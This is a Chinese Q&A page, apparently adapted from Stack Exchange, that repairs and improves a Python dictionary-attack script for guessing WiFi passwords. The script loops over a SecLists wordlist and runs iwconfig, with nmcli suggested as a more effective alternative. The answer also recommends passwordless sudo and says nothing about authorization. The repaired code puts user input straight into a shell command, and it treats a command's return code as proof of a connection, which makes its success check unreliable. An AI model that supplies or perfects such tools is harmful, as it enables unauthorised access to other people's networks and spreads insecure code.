Python编写WiFi密码爆破脚本无法正常连接网络的问题求助
问题分析与修复方案
代码中的直接错误
错误1:变量被误当作函数调用
你将wifiname以wifiname()的方式调用,但它是input()获取的字符串变量,正确用法是直接写wifiname。这个错误会导致脚本抛出TypeError,但你的except块仅捕获异常却没真正执行连接命令。错误2:未校验命令执行结果
os.popen不会主动抛出异常,哪怕连接失败(比如密码错误),脚本也会进入else分支误报成功。必须读取命令输出或获取返回码来判断连接状态。错误3:文件资源未妥善释放
直接open文件后未关闭,建议用with语句自动管理文件资源,避免资源泄漏。
修复后的代码示例
import os wifiname = input("Enter Wifi SSID: ") print("Wifi not stored, testing password...") # 用with语句自动关闭文件 with open('/home/asive/Documents/seclists/wordlists/passwords.lst', 'r') as file: for line in file: password = line.strip() if not password: continue # 跳过空行 print(f"Testing Key {password}") # 修复变量调用错误,添加sudo并校验命令返回码 cmd = f"sudo iwconfig wlan0 essid {wifiname} key s:{password}" stream = os.popen(cmd) output = stream.read() return_code = stream.close() # 根据返回码判断连接是否成功 if return_code is None: print(f"Success Key=={password}") break # 找到有效密码后退出循环 else: print(f"{password} failed, trying next.")
额外优化建议
改用更可靠的WiFi管理工具
iwconfig是老旧工具,现代Linux系统更推荐用nmcli(NetworkManager命令行工具)或wpa_supplicant,连接成功率更高。比如替换为nmcli命令:sudo nmcli device wifi connect {wifiname} password {password}能更精准地获取连接结果。
权限配置优化
确保脚本以root权限运行,或命令前加sudo,同时建议配置用户无需密码执行sudo(避免脚本卡住等待输入密码)。错误处理精细化
避免用except:捕获所有异常,应明确捕获特定异常(如TypeError、PermissionError),便于排查问题。
内容的提问来源于stack exchange,提问作者asive
相关产品推荐
相关产品推荐

